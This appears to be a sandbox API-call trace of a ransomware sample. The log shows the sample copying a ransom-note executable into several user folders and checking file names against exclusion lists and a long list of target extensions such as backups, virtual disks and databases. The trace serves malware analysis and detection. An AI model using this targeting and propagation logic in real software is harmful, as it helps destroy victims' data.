	[0086.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.930] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.931] CloseHandle (hObject=0x15c) returned 1
	[0086.931] CloseHandle (hObject=0x9c) returned 1
	[0086.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.932] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb32890, ftCreationTime.dwHighDateTime=0x1d4c560, ftLastAccessTime.dwLowDateTime=0x1d20a7a0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x1d20a7a0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0xcfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uug0I.flv", cAlternateFileName="")) returned 0
	[0086.932] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.932] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c10
	[0086.932] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates"
	[0086.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcdd8 | out: hHeap=0x580000) returned 1
	[0086.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0086.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned 39
	[0086.933] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates"
	[0086.933] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.934] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.934] GetLastError () returned 0x0
	[0086.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.934] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.934] CloseHandle (hObject=0x10c) returned 1
	[0086.934] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.935] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.935] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb32890, ftCreationTime.dwHighDateTime=0x1d4c560, ftLastAccessTime.dwLowDateTime=0x1d20a7a0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x1d20a7a0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0xcfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uug0I.flv", cAlternateFileName="")) returned 0xffffffff
	[0086.935] GetLastError () returned 0x5
	[0086.935] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\* FindFirstFile error 5\r\n") returned 73
	[0086.935] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\* FindFirstFile error 5\r\n") returned 73
	[0086.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.935] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6445
	[0086.936] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x49, lpOverlapped=0x0) returned 1
	[0086.936] CloseHandle (hObject=0x10c) returned 1
	[0086.936] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7cb0
	[0086.936] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu"
	[0086.936] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0086.936] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0086.936] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned 40
	[0086.936] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu"
	[0086.936] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.936] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.937] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.937] GetLastError () returned 0x0
	[0086.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.937] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.937] CloseHandle (hObject=0x10c) returned 1
	[0086.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.937] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.937] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb32890, ftCreationTime.dwHighDateTime=0x1d4c560, ftLastAccessTime.dwLowDateTime=0x1d20a7a0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x1d20a7a0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0xcfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uug0I.flv", cAlternateFileName="")) returned 0xffffffff
	[0086.938] GetLastError () returned 0x5
	[0086.938] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\* FindFirstFile error 5\r\n") returned 74
	[0086.938] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\* FindFirstFile error 5\r\n") returned 74
	[0086.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.938] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x648e
	[0086.938] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x4a, lpOverlapped=0x0) returned 1
	[0086.938] CloseHandle (hObject=0x10c) returned 1
	[0086.938] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c50
	[0086.938] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo"
	[0086.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcd80 | out: hHeap=0x580000) returned 1
	[0086.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0086.938] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned 36
	[0086.939] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo"
	[0086.939] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.939] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.939] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.939] GetLastError () returned 0x0
	[0086.939] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.940] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.940] CloseHandle (hObject=0x10c) returned 1
	[0086.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.940] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.940] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb32890, ftCreationTime.dwHighDateTime=0x1d4c560, ftLastAccessTime.dwLowDateTime=0x1d20a7a0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x1d20a7a0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0xcfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uug0I.flv", cAlternateFileName="")) returned 0xffffffff
	[0086.940] GetLastError () returned 0x5
	[0086.940] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\* FindFirstFile error 5\r\n") returned 70
	[0086.940] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\* FindFirstFile error 5\r\n") returned 70
	[0086.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.940] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x64d8
	[0086.940] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x46, lpOverlapped=0x0) returned 1
	[0086.941] CloseHandle (hObject=0x10c) returned 1
	[0086.941] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bf0
	[0086.941] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches"
	[0086.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcd28 | out: hHeap=0x580000) returned 1
	[0086.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0086.941] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned 38
	[0086.941] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches"
	[0086.941] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.941] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.942] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.942] GetLastError () returned 0x0
	[0086.942] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.942] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.942] CloseHandle (hObject=0x10c) returned 1
	[0086.942] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.942] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.942] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3021f910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3021f910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.943] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.943] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.943] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.943] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3021f910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3021f910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.943] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.943] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.943] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.943] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.943] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0086.943] lstrlenW (lpString="desktop.ini") returned 11
	[0086.943] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*") returned 40
	[0086.943] lstrcpyW (in: lpString1=0x119e656, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0086.943] lstrlenW (lpString="desktop.ini") returned 11
	[0086.943] lstrlenW (lpString="Apollon865") returned 10
	[0086.943] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0086.943] lstrlenW (lpString=".dll") returned 4
	[0086.943] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0086.943] lstrlenW (lpString=".lnk") returned 4
	[0086.944] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0086.944] lstrlenW (lpString=".ini") returned 4
	[0086.944] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0086.944] lstrlenW (lpString=".sys") returned 4
	[0086.944] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0086.944] lstrlenW (lpString="desktop.ini") returned 11
	[0086.944] lstrlenW (lpString="bak") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0086.944] lstrlenW (lpString="ba_") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0086.944] lstrlenW (lpString="dbb") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0086.944] lstrlenW (lpString="vmdk") returned 4
	[0086.944] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0086.944] lstrlenW (lpString="rar") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0086.944] lstrlenW (lpString="zip") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0086.944] lstrlenW (lpString="tgz") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0086.944] lstrlenW (lpString="vbox") returned 4
	[0086.944] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0086.944] lstrlenW (lpString="vdi") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0086.944] lstrlenW (lpString="vhd") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0086.944] lstrlenW (lpString="vhdx") returned 4
	[0086.944] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0086.944] lstrlenW (lpString="avhd") returned 4
	[0086.944] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0086.944] lstrlenW (lpString="db") returned 2
	[0086.944] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0086.944] lstrlenW (lpString="db2") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0086.944] lstrlenW (lpString="db3") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0086.944] lstrlenW (lpString="dbf") returned 3
	[0086.944] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0086.945] lstrlenW (lpString="mdf") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0086.945] lstrlenW (lpString="mdb") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0086.945] lstrlenW (lpString="sql") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0086.945] lstrlenW (lpString="sqlite") returned 6
	[0086.945] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0086.945] lstrlenW (lpString="sqlite3") returned 7
	[0086.945] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0086.945] lstrlenW (lpString="sqlitedb") returned 8
	[0086.945] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0086.945] lstrlenW (lpString="xml") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0086.945] lstrlenW (lpString="$er") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0086.945] lstrlenW (lpString="4dd") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0086.945] lstrlenW (lpString="4dl") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0086.945] lstrlenW (lpString="^^^") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0086.945] lstrlenW (lpString="abs") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0086.945] lstrlenW (lpString="abx") returned 3
	[0086.945] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0086.945] lstrlenW (lpString="accdb") returned 5
	[0086.945] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0086.945] lstrlenW (lpString="accdc") returned 5
	[0086.945] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0086.945] lstrlenW (lpString="accde") returned 5
	[0086.945] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0086.945] lstrlenW (lpString="accdr") returned 5
	[0086.945] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0086.945] lstrlenW (lpString="accdt") returned 5
	[0086.945] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0086.945] lstrlenW (lpString="accdw") returned 5
	[0086.946] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0086.946] lstrlenW (lpString="accft") returned 5
	[0086.946] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0086.946] lstrlenW (lpString="adb") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0086.946] lstrlenW (lpString="adb") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0086.946] lstrlenW (lpString="ade") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0086.946] lstrlenW (lpString="adf") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0086.946] lstrlenW (lpString="adn") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0086.946] lstrlenW (lpString="adp") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0086.946] lstrlenW (lpString="alf") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0086.946] lstrlenW (lpString="ask") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0086.946] lstrlenW (lpString="btr") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0086.946] lstrlenW (lpString="cat") returned 3
	[0086.946] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0086.946] lstrlenW (lpString="cdb") returned 3
